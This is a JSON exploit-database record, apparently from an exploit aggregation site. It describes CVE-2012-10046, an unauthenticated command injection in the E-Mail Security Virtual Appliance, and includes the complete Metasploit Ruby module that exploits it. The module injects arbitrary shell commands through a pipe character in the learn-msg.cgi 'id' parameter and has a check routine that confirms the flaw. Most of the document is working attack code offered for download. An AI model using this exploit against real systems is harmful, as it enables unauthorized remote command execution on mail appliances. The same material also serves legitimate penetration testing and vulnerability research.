{"exploit":{"id":"MSF-linux--http--esva_exec","name":"E-Mail Security Virtual Appliance learn-msg.cgi Command Injection","description":"This module exploits a command injection vulnerability found in E-Mail Security Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary OS commands without authentication. This module has been successfully tested on the ESVA_2057 appliance.","cves":["CVE-2012-10046"],"author":"iJoo, juan vazquez","published":"2012-08-16","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/esva_exec.rb","path":"modules/exploits/linux/http/esva_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"esva_exec.rb","vulnerabilities":[{"id":"CVE-2012-10046","state":"PUBLISHED","title":"E-Mail Security Virtual Appliance learn-msg.cgi Command Injection","titleSource":"CVE Program","description":"The E-Mail Security Virtual Appliance (ESVA) (tested on version ESVA_2057) contains an unauthenticated command injection vulnerability in the learn-msg.cgi script. The CGI handler fails to sanitize user-supplied input passed via the id parameter, allowing attackers to inject arbitrary shell commands. Exploitation requires no authentication and results in full command execution on the underlying system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10046","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10046"},"updatedAt":"2026-04-07T14:02:41.070Z","retrievedAt":"2026-11-26T12:45:30.676Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--esva_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--esva_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--esva_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--esva_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"E-Mail Security Virtual Appliance learn-msg.cgi Command Injection\",\n        'Description' => %q{\n          This module exploits a command injection vulnerability found in E-Mail Security\n          Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary\n          OS commands without authentication. This module has been successfully tested on the\n          ESVA_2057 appliance.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'iJoo', # Vulnerability Discovery and PoC\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2012-10046' ],\n          [ 'OSVDB', '85462'],\n          [ 'BID', '55050'],\n          [ 'EDB', '20551' ]\n        ],\n        'Payload' => {\n          'BadChars' => \"\",\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic perl python',\n                        }\n        },\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          ['ESVA_2057', {}],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-08-16',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def check\n    clue = Rex::Text::rand_text_alpha(rand(5) + 5)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => \"/cgi-bin/learn-msg.cgi\",\n      'vars_get' => {\n        'id' => \"|echo #{clue};\"\n      }\n    })\n\n    # If the server doesn't return the default redirection, probably something is wrong\n    if res and res.code == 200 and res.body =~ /#{clue}/\n      return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    end\n\n    return Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    peer = \"#{rhost}:#{rport}\"\n\n    print_status(\"Sending Command injection\")\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => \"/cgi-bin/learn-msg.cgi\",\n      'vars_get' => {\n        'id' => \"|#{payload.raw};\"\n      }\n    })\n\n    # If the server doesn't return the default redirection, probably something is wrong\n    if not res or res.code != 200 or res.body !~ /meta http-equiv=\"refresh\" content=\"0;URL=\\/learned.html\"/\n      print_error(\"Probably command not executed, aborting!\")\n      return\n    end\n\n    print_good(\"Command executed successfully\")\n    print_status(\"Output: \\n#{res.body.split(\"Learned tokens\")[0]}\")\n  end\nend\n","sha256":"83326f39f18745cb233bf6598145d68e9b7534d610b692f9968bf745e552196e","bytes":2954,"fetchedAt":"2026-11-26T12:45:30.557Z","encoding":"utf-8 (display only; download retains original bytes)"}